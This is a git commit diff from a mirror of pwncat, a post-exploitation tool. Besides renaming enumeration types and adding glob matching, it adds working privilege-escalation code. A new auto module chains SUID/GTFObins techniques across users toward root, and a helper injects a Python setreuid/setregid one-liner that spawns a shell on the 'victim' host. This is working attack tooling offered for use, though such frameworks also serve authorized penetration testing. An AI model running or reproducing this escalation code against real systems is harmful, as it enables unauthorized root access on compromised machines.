mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 12:24:14 +01:00
Initial partially functioning auto escalation
Also renamed some enumeration types and added type-globbing for the `types` parameter of enumerations (e.g. run enumerate.gather types=system.*)
This commit is contained in:
parent
1706213920
commit
4ecbca9543
@ -9,12 +9,18 @@ from pwncat.commands.base import CommandDefinition, Complete, Parameter
|
|||||||
|
|
||||||
class Command(CommandDefinition):
|
class Command(CommandDefinition):
|
||||||
"""
|
"""
|
||||||
Run a shell command on the victim host and display the output.
|
Run a module. If no module is specified, use the module in the
|
||||||
|
current context. You can enter a module context with the `use`
|
||||||
**NOTE** This must be a non-interactive command. If an interactive command
|
command.
|
||||||
is run, you will have to use C-c to return to the pwncat prompt and then
|
|
||||||
C-d to get back to your interactive remote prompt in order to interact
|
Module arguments can be appended to the run command with `variable=value`
|
||||||
with the remote host again!"""
|
syntax. Arguments are type-checked prior to executing, and the results
|
||||||
|
are displayed to the terminal.
|
||||||
|
|
||||||
|
To locate available modules, you can use the `search` command. To
|
||||||
|
find documentation on individual modules including expected
|
||||||
|
arguments, you can use the `info` command.
|
||||||
|
"""
|
||||||
|
|
||||||
def get_module_choices(self):
|
def get_module_choices(self):
|
||||||
yield from [module.name for module in pwncat.modules.match(".*")]
|
yield from [module.name for module in pwncat.modules.match(".*")]
|
||||||
@ -27,8 +33,9 @@ class Command(CommandDefinition):
|
|||||||
"module": Parameter(
|
"module": Parameter(
|
||||||
Complete.CHOICES,
|
Complete.CHOICES,
|
||||||
nargs="?",
|
nargs="?",
|
||||||
|
metavar="MODULE",
|
||||||
choices=get_module_choices,
|
choices=get_module_choices,
|
||||||
help="The module path to execute",
|
help="The module name to execute",
|
||||||
),
|
),
|
||||||
"args": Parameter(Complete.NONE, nargs="*", help="Module arguments"),
|
"args": Parameter(Complete.NONE, nargs="*", help="Module arguments"),
|
||||||
}
|
}
|
||||||
@ -50,10 +57,12 @@ class Command(CommandDefinition):
|
|||||||
name, value = arg.split("=")
|
name, value = arg.split("=")
|
||||||
values[name] = value
|
values[name] = value
|
||||||
|
|
||||||
pwncat.victim.config.locals.update(values)
|
# pwncat.victim.config.locals.update(values)
|
||||||
|
config_values = pwncat.victim.config.locals.copy()
|
||||||
|
config_values.update(values)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
result = pwncat.modules.run(args.module, **pwncat.victim.config.locals)
|
result = pwncat.modules.run(args.module, **config_values)
|
||||||
pwncat.victim.config.back()
|
pwncat.victim.config.back()
|
||||||
except pwncat.modules.ModuleNotFound:
|
except pwncat.modules.ModuleNotFound:
|
||||||
console.log(f"[red]error[/red]: {args.module}: not found")
|
console.log(f"[red]error[/red]: {args.module}: not found")
|
||||||
|
@ -118,6 +118,11 @@ def run_decorator(real_run):
|
|||||||
|
|
||||||
def decorator(self, progress=None, **kwargs):
|
def decorator(self, progress=None, **kwargs):
|
||||||
|
|
||||||
|
if "exec" in kwargs:
|
||||||
|
has_exec = True
|
||||||
|
else:
|
||||||
|
has_exec = False
|
||||||
|
|
||||||
# Validate arguments
|
# Validate arguments
|
||||||
for key in kwargs:
|
for key in kwargs:
|
||||||
if key in self.ARGUMENTS:
|
if key in self.ARGUMENTS:
|
||||||
@ -135,6 +140,9 @@ def run_decorator(real_run):
|
|||||||
elif key not in kwargs and self.ARGUMENTS[key].default is NoValue:
|
elif key not in kwargs and self.ARGUMENTS[key].default is NoValue:
|
||||||
raise MissingArgument(key)
|
raise MissingArgument(key)
|
||||||
|
|
||||||
|
if "exec" in kwargs and kwargs["exec"] and not has_exec:
|
||||||
|
raise Exception(f"What the hell? {self.ARGUMENTS['exec'].default}")
|
||||||
|
|
||||||
# Save progress reference
|
# Save progress reference
|
||||||
self.progress = progress
|
self.progress = progress
|
||||||
|
|
||||||
|
@ -1,5 +1,6 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from enum import Enum, auto
|
from enum import Enum, auto
|
||||||
|
import fnmatch
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import sqlalchemy
|
import sqlalchemy
|
||||||
@ -78,9 +79,12 @@ class EnumerateModule(BaseModule):
|
|||||||
)
|
)
|
||||||
|
|
||||||
if types:
|
if types:
|
||||||
existing_facts = existing_facts.filter(pwncat.db.Fact.type.in_(types))
|
for fact in existing_facts.all():
|
||||||
|
for typ in types:
|
||||||
yield from existing_facts.all()
|
if fnmatch.fnmatch(fact.type, typ):
|
||||||
|
yield fact
|
||||||
|
else:
|
||||||
|
yield from existing_facts.all()
|
||||||
|
|
||||||
if self.SCHEDULE != Schedule.ALWAYS:
|
if self.SCHEDULE != Schedule.ALWAYS:
|
||||||
exists = (
|
exists = (
|
||||||
@ -109,8 +113,12 @@ class EnumerateModule(BaseModule):
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
# Don't yield the actual fact if we didn't ask for this type
|
# Don't yield the actual fact if we didn't ask for this type
|
||||||
if types and row.type not in types:
|
if types:
|
||||||
yield Status(data)
|
for typ in types:
|
||||||
|
if fnmatch.fnmatch(row.type, typ):
|
||||||
|
yield row
|
||||||
|
else:
|
||||||
|
yield Status(data)
|
||||||
else:
|
else:
|
||||||
yield row
|
yield row
|
||||||
|
|
||||||
|
@ -30,7 +30,7 @@ class Module(EnumerateModule):
|
|||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
PROVIDES = ["arch"]
|
PROVIDES = ["system.arch"]
|
||||||
|
|
||||||
def enumerate(self):
|
def enumerate(self):
|
||||||
"""
|
"""
|
||||||
@ -43,4 +43,4 @@ class Module(EnumerateModule):
|
|||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
return
|
return
|
||||||
|
|
||||||
yield "arch", ArchData(result)
|
yield "system.arch", ArchData(result)
|
||||||
|
@ -25,7 +25,7 @@ class Module(EnumerateModule):
|
|||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
PROVIDES = ["aslr"]
|
PROVIDES = ["system.aslr"]
|
||||||
|
|
||||||
def enumerate(self):
|
def enumerate(self):
|
||||||
|
|
||||||
@ -38,6 +38,6 @@ class Module(EnumerateModule):
|
|||||||
value = None
|
value = None
|
||||||
|
|
||||||
if value is not None:
|
if value is not None:
|
||||||
yield "aslr", ASLRStateData(value)
|
yield "system.aslr", ASLRStateData(value)
|
||||||
except (FileNotFoundError, PermissionError):
|
except (FileNotFoundError, PermissionError):
|
||||||
pass
|
pass
|
||||||
|
@ -23,29 +23,30 @@ class Module(EnumerateModule):
|
|||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
PROVIDES = ["container"]
|
PROVIDES = ["system.container"]
|
||||||
|
|
||||||
def enumerate(self):
|
def enumerate(self):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with pwncat.victim.open("/proc/self/cgroup", "r") as filp:
|
with pwncat.victim.open("/proc/self/cgroup", "r") as filp:
|
||||||
if "docker" in filp.read().lower():
|
if "docker" in filp.read().lower():
|
||||||
yield "container", ContainerData("docker")
|
yield "system.container", ContainerData("docker")
|
||||||
return
|
return
|
||||||
except (FileNotFoundError, PermissionError):
|
except (FileNotFoundError, PermissionError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
with pwncat.victim.subprocess(
|
with pwncat.victim.subprocess(
|
||||||
f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null', "r"
|
f'find / -maxdepth 3 -name "*dockerenv*" -exec ls -la {{}} \\; 2>/dev/null',
|
||||||
|
"r",
|
||||||
) as pipe:
|
) as pipe:
|
||||||
if pipe.read().strip() != b"":
|
if pipe.read().strip() != b"":
|
||||||
yield "container", ContainerData("docker")
|
yield "system.container", ContainerData("docker")
|
||||||
return
|
return
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with pwncat.victim.open("/proc/1/environ", "r") as filp:
|
with pwncat.victim.open("/proc/1/environ", "r") as filp:
|
||||||
if "container=lxc" in filp.read().lower():
|
if "container=lxc" in filp.read().lower():
|
||||||
yield "container", ContainerData("lxc")
|
yield "system.container", ContainerData("lxc")
|
||||||
return
|
return
|
||||||
except (FileNotFoundError, PermissionError):
|
except (FileNotFoundError, PermissionError):
|
||||||
pass
|
pass
|
||||||
|
@ -29,13 +29,14 @@ class DistroVersionData:
|
|||||||
f"Build ID [green]{self.build_id}[/green]."
|
f"Build ID [green]{self.build_id}[/green]."
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class Module(EnumerateModule):
|
class Module(EnumerateModule):
|
||||||
"""
|
"""
|
||||||
Enumerate kernel/OS version information
|
Enumerate kernel/OS version information
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
PROVIDES = ["distro"]
|
PROVIDES = ["system.distro"]
|
||||||
|
|
||||||
def enumerate(self):
|
def enumerate(self):
|
||||||
|
|
||||||
@ -69,7 +70,12 @@ class Module(EnumerateModule):
|
|||||||
except (PermissionError, FileNotFoundError):
|
except (PermissionError, FileNotFoundError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if pretty_name is None and build_id is None and ident is None and version is None:
|
if (
|
||||||
|
pretty_name is None
|
||||||
|
and build_id is None
|
||||||
|
and ident is None
|
||||||
|
and version is None
|
||||||
|
):
|
||||||
return
|
return
|
||||||
|
|
||||||
yield "distro", DistroVersionData(pretty_name, ident, build_id, version)
|
yield "system.distro", DistroVersionData(pretty_name, ident, build_id, version)
|
||||||
|
@ -13,13 +13,13 @@ class Module(EnumerateModule):
|
|||||||
:return: A generator of hostname facts
|
:return: A generator of hostname facts
|
||||||
"""
|
"""
|
||||||
|
|
||||||
PROVIDES = ["hostname"]
|
PROVIDES = ["network.hostname"]
|
||||||
|
|
||||||
def enumerate(self):
|
def enumerate(self):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip()
|
hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip()
|
||||||
yield "hostname", hostname
|
yield "network.hostname", hostname
|
||||||
return
|
return
|
||||||
except FileNotFoundError:
|
except FileNotFoundError:
|
||||||
pass
|
pass
|
||||||
@ -30,9 +30,9 @@ class Module(EnumerateModule):
|
|||||||
for name in hostname:
|
for name in hostname:
|
||||||
if "static hostname" in name.lower():
|
if "static hostname" in name.lower():
|
||||||
hostname = name.split(": ")[1]
|
hostname = name.split(": ")[1]
|
||||||
yield "hostname", hostname
|
yield "network.hostname", hostname
|
||||||
return
|
return
|
||||||
except (FileNotFoundError, IndexError):
|
except (FileNotFoundError, IndexError):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
return
|
return
|
||||||
|
@ -7,6 +7,7 @@ import pwncat
|
|||||||
from pwncat import util
|
from pwncat import util
|
||||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
|
||||||
|
|
||||||
@dataclasses.dataclass
|
@dataclasses.dataclass
|
||||||
class HostData:
|
class HostData:
|
||||||
|
|
||||||
@ -17,13 +18,14 @@ class HostData:
|
|||||||
joined_hostnames = ", ".join(self.hostnames)
|
joined_hostnames = ", ".join(self.hostnames)
|
||||||
return f"[cyan]{self.address}[/cyan] -> [blue]{joined_hostnames}[/blue]"
|
return f"[cyan]{self.address}[/cyan] -> [blue]{joined_hostnames}[/blue]"
|
||||||
|
|
||||||
|
|
||||||
class Module(EnumerateModule):
|
class Module(EnumerateModule):
|
||||||
"""
|
"""
|
||||||
Enumerate hosts identified in /etc/hosts which are not localhost
|
Enumerate hosts identified in /etc/hosts which are not localhost
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
PROVIDES = ["hosts"]
|
PROVIDES = ["network.hosts"]
|
||||||
|
|
||||||
def enumerate(self):
|
def enumerate(self):
|
||||||
|
|
||||||
@ -45,6 +47,6 @@ class Module(EnumerateModule):
|
|||||||
):
|
):
|
||||||
continue
|
continue
|
||||||
address, *hostnames = [e for e in line.split(" ") if e != ""]
|
address, *hostnames = [e for e in line.split(" ") if e != ""]
|
||||||
yield "hosts", HostData(address, hostnames)
|
yield "network.hosts", HostData(address, hostnames)
|
||||||
except (PermissionError, FileNotFoundError):
|
except (PermissionError, FileNotFoundError):
|
||||||
pass
|
pass
|
||||||
|
@ -4,20 +4,20 @@ import dataclasses
|
|||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
from pwncat import util
|
from pwncat import util
|
||||||
|
from pwncat.modules import Result
|
||||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
|
||||||
|
|
||||||
@dataclasses.dataclass
|
@dataclasses.dataclass
|
||||||
class InitSystemData:
|
class InitSystemData(Result):
|
||||||
|
|
||||||
init: util.Init
|
init: util.Init
|
||||||
version: str
|
version: str
|
||||||
|
|
||||||
def __str__(self):
|
@property
|
||||||
|
def title(self):
|
||||||
return f"Running [blue]{self.init}[/blue]"
|
return f"Running [blue]{self.init}[/blue]"
|
||||||
|
|
||||||
@property
|
|
||||||
def description(self):
|
|
||||||
return self.version
|
|
||||||
|
|
||||||
class Module(EnumerateModule):
|
class Module(EnumerateModule):
|
||||||
"""
|
"""
|
||||||
@ -25,7 +25,7 @@ class Module(EnumerateModule):
|
|||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
PROVIDES = ["init"]
|
PROVIDES = ["system.init"]
|
||||||
|
|
||||||
def enumerate(self):
|
def enumerate(self):
|
||||||
|
|
||||||
@ -74,4 +74,4 @@ class Module(EnumerateModule):
|
|||||||
if version == "":
|
if version == "":
|
||||||
version = None
|
version = None
|
||||||
|
|
||||||
yield "init", InitSystemData(init, version)
|
yield "system.init", InitSystemData(init, version)
|
||||||
|
@ -6,12 +6,13 @@ import pwncat
|
|||||||
from pwncat import util
|
from pwncat import util
|
||||||
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
from pwncat.modules.enumerate import EnumerateModule, Schedule
|
||||||
|
|
||||||
|
|
||||||
@dataclasses.dataclass
|
@dataclasses.dataclass
|
||||||
class KernelVersionData:
|
class KernelVersionData:
|
||||||
"""
|
"""
|
||||||
Represents a W.X.Y-Z kernel version where W is the major version,
|
Represents a W.X.Y-Z kernel version where W is the major version,
|
||||||
X is the minor version, Y is the patch, and Z is the ABI.
|
X is the minor version, Y is the patch, and Z is the ABI.
|
||||||
|
|
||||||
This explanation came from here:
|
This explanation came from here:
|
||||||
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
|
https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called
|
||||||
"""
|
"""
|
||||||
@ -28,12 +29,14 @@ class KernelVersionData:
|
|||||||
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
|
f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class Module(EnumerateModule):
|
class Module(EnumerateModule):
|
||||||
"""
|
"""
|
||||||
Enumerate kernel/OS version information
|
Enumerate kernel/OS version information
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
PROVIDES = ["kernel"]
|
|
||||||
|
PROVIDES = ["system.kernel"]
|
||||||
|
|
||||||
def enumerate(self):
|
def enumerate(self):
|
||||||
|
|
||||||
@ -62,4 +65,4 @@ class Module(EnumerateModule):
|
|||||||
y = y_and_z[0]
|
y = y_and_z[0]
|
||||||
z = "-".join(y_and_z[1:])
|
z = "-".join(y_and_z[1:])
|
||||||
|
|
||||||
yield "kernel", KernelVersionData(int(w), int(x), int(y), z)
|
yield "system.kernel", KernelVersionData(int(w), int(x), int(y), z)
|
||||||
|
@ -21,6 +21,62 @@ class EscalateError(Exception):
|
|||||||
""" Indicates an error while attempting some escalation action """
|
""" Indicates an error while attempting some escalation action """
|
||||||
|
|
||||||
|
|
||||||
|
def fix_euid_mismatch(target_uid: int, target_gid: int):
|
||||||
|
""" Attempt to gain EUID=UID=target_uid.
|
||||||
|
|
||||||
|
This is intended to fix EUID/UID mismatches after a escalation.
|
||||||
|
"""
|
||||||
|
|
||||||
|
pythons = [
|
||||||
|
"python",
|
||||||
|
"python3",
|
||||||
|
"python3.6",
|
||||||
|
"python3.8",
|
||||||
|
"python3.9",
|
||||||
|
"python2.7",
|
||||||
|
"python2.6",
|
||||||
|
]
|
||||||
|
for python in pythons:
|
||||||
|
python_path = pwncat.victim.which(python)
|
||||||
|
if python_path is not None:
|
||||||
|
break
|
||||||
|
|
||||||
|
if python_path is not None:
|
||||||
|
command = f"exec {python_path} -c '"
|
||||||
|
command += f"""import os; os.setreuid({target_uid}, {target_uid}); os.setregid({target_gid}, {target_gid}); os.system("{pwncat.victim.shell}")"""
|
||||||
|
command += "'\n"
|
||||||
|
pwncat.victim.process(command)
|
||||||
|
|
||||||
|
new_id = pwncat.victim.id
|
||||||
|
if new_id["uid"]["id"] == target_uid and new_id["gid"]["id"] == target_gid:
|
||||||
|
return
|
||||||
|
|
||||||
|
raise EscalateError("failed to resolve euid/uid mismatch")
|
||||||
|
|
||||||
|
|
||||||
|
def euid_fix(technique_class):
|
||||||
|
"""
|
||||||
|
Decorator for Technique classes which may end up with a RUID/EUID
|
||||||
|
mismatch. This will check the resulting UID before/after to see
|
||||||
|
if the change was affective and attempt to fix it.
|
||||||
|
"""
|
||||||
|
|
||||||
|
class Wrapper(technique_class):
|
||||||
|
def exec(self, binary: str):
|
||||||
|
|
||||||
|
# Run the real exec
|
||||||
|
super(Wrapper, self).exec(binary)
|
||||||
|
|
||||||
|
# Check id again
|
||||||
|
ending_id = pwncat.victim.id
|
||||||
|
|
||||||
|
# If needed fix the UID
|
||||||
|
if ending_id["euid"]["id"] != ending_id["uid"]["id"]:
|
||||||
|
fix_euid_mismatch(ending_id["euid"]["id"], ending_id["egid"]["id"])
|
||||||
|
|
||||||
|
return Wrapper
|
||||||
|
|
||||||
|
|
||||||
@dataclasses.dataclass
|
@dataclasses.dataclass
|
||||||
class Technique:
|
class Technique:
|
||||||
""" Describes a technique possible through some module.
|
""" Describes a technique possible through some module.
|
||||||
@ -196,6 +252,17 @@ class EscalateChain(Result):
|
|||||||
""" Add a link in the chain """
|
""" Add a link in the chain """
|
||||||
self.chain.append((technique, exit_cmd))
|
self.chain.append((technique, exit_cmd))
|
||||||
|
|
||||||
|
def extend(self, chain: "EscalateChain"):
|
||||||
|
""" Extend this chain with another chain """
|
||||||
|
self.chain.extend(chain.chain)
|
||||||
|
|
||||||
|
def pop(self):
|
||||||
|
""" Exit and remove the last link in the chain """
|
||||||
|
_, exit_cmd = self.chain.pop()
|
||||||
|
pwncat.victim.client.send(exit_cmd)
|
||||||
|
pwncat.victim.reset(hard=False)
|
||||||
|
pwncat.victim.update_user()
|
||||||
|
|
||||||
def unwrap(self):
|
def unwrap(self):
|
||||||
""" Exit each shell in the chain with the provided exit script """
|
""" Exit each shell in the chain with the provided exit script """
|
||||||
|
|
||||||
@ -204,6 +271,9 @@ class EscalateChain(Result):
|
|||||||
# Send the exit command
|
# Send the exit command
|
||||||
pwncat.victim.client.send(exit_cmd)
|
pwncat.victim.client.send(exit_cmd)
|
||||||
|
|
||||||
|
pwncat.victim.reset(hard=False)
|
||||||
|
pwncat.victim.update_user()
|
||||||
|
|
||||||
|
|
||||||
@dataclasses.dataclass
|
@dataclasses.dataclass
|
||||||
class EscalateResult(Result):
|
class EscalateResult(Result):
|
||||||
@ -238,7 +308,7 @@ class EscalateResult(Result):
|
|||||||
This allows you to enumerate multiple modules and utilize all their
|
This allows you to enumerate multiple modules and utilize all their
|
||||||
techniques together to perform escalation. """
|
techniques together to perform escalation. """
|
||||||
|
|
||||||
for key, value in result.techniques:
|
for key, value in result.techniques.items():
|
||||||
if key not in self.techniques:
|
if key not in self.techniques:
|
||||||
self.techniques[key] = value
|
self.techniques[key] = value
|
||||||
else:
|
else:
|
||||||
@ -328,6 +398,7 @@ class EscalateResult(Result):
|
|||||||
|
|
||||||
original_user = pwncat.victim.current_user
|
original_user = pwncat.victim.current_user
|
||||||
original_id = pwncat.victim.id
|
original_id = pwncat.victim.id
|
||||||
|
target_user = pwncat.victim.users[user]
|
||||||
task = progress.add_task("", module="escalating", status="...")
|
task = progress.add_task("", module="escalating", status="...")
|
||||||
|
|
||||||
if user in self.techniques:
|
if user in self.techniques:
|
||||||
@ -358,7 +429,9 @@ class EscalateResult(Result):
|
|||||||
|
|
||||||
# Check that the escalation succeeded
|
# Check that the escalation succeeded
|
||||||
new_id = pwncat.victim.id
|
new_id = pwncat.victim.id
|
||||||
if new_id["euid"] == original_id["euid"]:
|
if new_id["euid"]["id"] != target_user.id:
|
||||||
|
pwncat.victim.client.send(exit_cmd.encode("utf-8"))
|
||||||
|
pwncat.victim.flush_output(some=False)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
return EscalateChain(
|
return EscalateChain(
|
||||||
@ -492,6 +565,9 @@ class EscalateResult(Result):
|
|||||||
# The test worked! Run the real escalate command
|
# The test worked! Run the real escalate command
|
||||||
pwncat.victim.process(command)
|
pwncat.victim.process(command)
|
||||||
|
|
||||||
|
pwncat.victim.reset(hard=False)
|
||||||
|
pwncat.victim.update_user()
|
||||||
|
|
||||||
return EscalateChain(original_user.name, [(used_tech, "exit")])
|
return EscalateChain(original_user.name, [(used_tech, "exit")])
|
||||||
|
|
||||||
raise EscalateError(f"exec as {user} not possible")
|
raise EscalateError(f"exec as {user} not possible")
|
||||||
|
152
pwncat/modules/escalate/auto.py
Normal file
152
pwncat/modules/escalate/auto.py
Normal file
@ -0,0 +1,152 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from pwncat.modules import (
|
||||||
|
BaseModule,
|
||||||
|
Bool,
|
||||||
|
Result,
|
||||||
|
Status,
|
||||||
|
Argument,
|
||||||
|
ArgumentFormatError,
|
||||||
|
MissingArgument,
|
||||||
|
)
|
||||||
|
from pwncat.modules.escalate import (
|
||||||
|
EscalateChain,
|
||||||
|
EscalateResult,
|
||||||
|
EscalateModule,
|
||||||
|
FileContentsResult,
|
||||||
|
EscalateError,
|
||||||
|
)
|
||||||
|
import pwncat.modules
|
||||||
|
|
||||||
|
|
||||||
|
class Module(BaseModule):
|
||||||
|
"""
|
||||||
|
Attempt to automatically escalate to the given user through
|
||||||
|
any path available. This may cause escalation through multiple
|
||||||
|
users.
|
||||||
|
"""
|
||||||
|
|
||||||
|
ARGUMENTS = {
|
||||||
|
"user": Argument(str, default="root", help="The target user for escalation"),
|
||||||
|
"exec": Argument(
|
||||||
|
Bool, default=False, help="Attempt to execute a shell as the given user"
|
||||||
|
),
|
||||||
|
"read": Argument(
|
||||||
|
Bool, default=False, help="Attempt to read a file as the given user"
|
||||||
|
),
|
||||||
|
"write": Argument(
|
||||||
|
Bool, default=False, help="Attempt to write a file as the given user"
|
||||||
|
),
|
||||||
|
"shell": Argument(
|
||||||
|
str, default="current", help="The shell to use for escalation"
|
||||||
|
),
|
||||||
|
"path": Argument(
|
||||||
|
str, default=None, help="The path to the file to be read/written"
|
||||||
|
),
|
||||||
|
"data": Argument(str, default=None, help="The data to be written"),
|
||||||
|
}
|
||||||
|
COLLAPSE_RESULT = True
|
||||||
|
|
||||||
|
def run(self, user, exec, write, read, path, data, shell):
|
||||||
|
|
||||||
|
whole_chain = EscalateChain(None, chain=[])
|
||||||
|
tried_users = []
|
||||||
|
result_list = []
|
||||||
|
target_user = user
|
||||||
|
|
||||||
|
if (exec + write + read) > 1:
|
||||||
|
raise pwncat.modules.ArgumentFormatError(
|
||||||
|
"only one of exec/write/read may be used"
|
||||||
|
)
|
||||||
|
|
||||||
|
if (read or write) and path is None:
|
||||||
|
raise ArgumentFormatError("file path not specified")
|
||||||
|
|
||||||
|
if write and data is None:
|
||||||
|
raise ArgumentFormatError("file content not specified")
|
||||||
|
|
||||||
|
if shell == "current":
|
||||||
|
shell = pwncat.victim.shell
|
||||||
|
|
||||||
|
# Collect escalation options
|
||||||
|
result = EscalateResult(techniques={})
|
||||||
|
for module in pwncat.modules.match(r"escalate\..*", base=EscalateModule):
|
||||||
|
try:
|
||||||
|
result.extend(module.run(progress=self.progress))
|
||||||
|
except (ArgumentFormatError, MissingArgument):
|
||||||
|
continue
|
||||||
|
|
||||||
|
while True:
|
||||||
|
|
||||||
|
if exec:
|
||||||
|
chain = result.exec(target_user, shell, self.progress)
|
||||||
|
whole_chain.extend(chain)
|
||||||
|
yield whole_chain
|
||||||
|
return
|
||||||
|
elif write:
|
||||||
|
result.write(target_user, path, data, self.progress)
|
||||||
|
whole_chain.unwrap()
|
||||||
|
return
|
||||||
|
elif read:
|
||||||
|
filp = result.read(target_user, path, self.progress)
|
||||||
|
original_close = filp.close
|
||||||
|
|
||||||
|
# We need to call unwrap after reading the data
|
||||||
|
def close_wrapper():
|
||||||
|
original_close()
|
||||||
|
whole_chain.unwrap()
|
||||||
|
|
||||||
|
filp.close = close_wrapper
|
||||||
|
|
||||||
|
yield FileContentsResult(path, filp)
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
# We just wanted to list all techniques from all modules
|
||||||
|
yield result
|
||||||
|
return
|
||||||
|
|
||||||
|
for user in result.techniques.keys():
|
||||||
|
# Ignore already tried users
|
||||||
|
if user in tried_users:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Mark this user as tried
|
||||||
|
tried_users.append(user)
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Attempt escalation
|
||||||
|
chain = result.exec(user, shell, self.progress)
|
||||||
|
|
||||||
|
# Extend the chain with this new chain
|
||||||
|
whole_chain.extend(chain)
|
||||||
|
|
||||||
|
# Save our current results in the list
|
||||||
|
result_list.append(result)
|
||||||
|
|
||||||
|
# Get new results for this user
|
||||||
|
result = EscalateResult(techniques={})
|
||||||
|
for module in pwncat.modules.match(
|
||||||
|
r"escalate\..*", base=EscalateModule
|
||||||
|
):
|
||||||
|
try:
|
||||||
|
result.extend(module.run(progress=self.progress))
|
||||||
|
except (
|
||||||
|
ArgumentFormatError,
|
||||||
|
MissingArgument,
|
||||||
|
):
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Try again
|
||||||
|
break
|
||||||
|
except EscalateError:
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
|
||||||
|
if not result_list:
|
||||||
|
# There are no more results to try...
|
||||||
|
raise EscalateError("no escalation path found")
|
||||||
|
|
||||||
|
# The loop was exhausted. This user didn't work.
|
||||||
|
# Go back to the previous step, but don't try this user
|
||||||
|
whole_chain.pop()
|
||||||
|
result = result_list.pop()
|
@ -2,7 +2,17 @@
|
|||||||
|
|
||||||
import pwncat
|
import pwncat
|
||||||
from pwncat.gtfobins import Capability, Stream, BinaryNotFound
|
from pwncat.gtfobins import Capability, Stream, BinaryNotFound
|
||||||
from pwncat.modules.escalate import EscalateModule, EscalateError, GTFOTechnique
|
from pwncat.modules.escalate import (
|
||||||
|
EscalateModule,
|
||||||
|
EscalateError,
|
||||||
|
GTFOTechnique,
|
||||||
|
euid_fix,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
@euid_fix
|
||||||
|
class SUIDTechnique(GTFOTechnique):
|
||||||
|
""" Same as GTFO Technique but with EUID fix decorator """
|
||||||
|
|
||||||
|
|
||||||
class Module(EscalateModule):
|
class Module(EscalateModule):
|
||||||
@ -27,7 +37,7 @@ class Module(EscalateModule):
|
|||||||
for method in binary.iter_methods(
|
for method in binary.iter_methods(
|
||||||
fact.data.path, Capability.ALL, Stream.ANY
|
fact.data.path, Capability.ALL, Stream.ANY
|
||||||
):
|
):
|
||||||
yield GTFOTechnique(fact.data.owner.name, self, method, suid=True)
|
yield SUIDTechnique(fact.data.owner.name, self, method, suid=True)
|
||||||
|
|
||||||
def human_name(self, tech: "Technique"):
|
def human_name(self, tech: "Technique"):
|
||||||
return f"[cyan]{tech.method.binary_path}[/cyan] ([red]setuid[/red])"
|
return f"[cyan]{tech.method.binary_path}[/cyan] ([red]setuid[/red])"
|
||||||
|
Loading…
Reference in New Issue
Block a user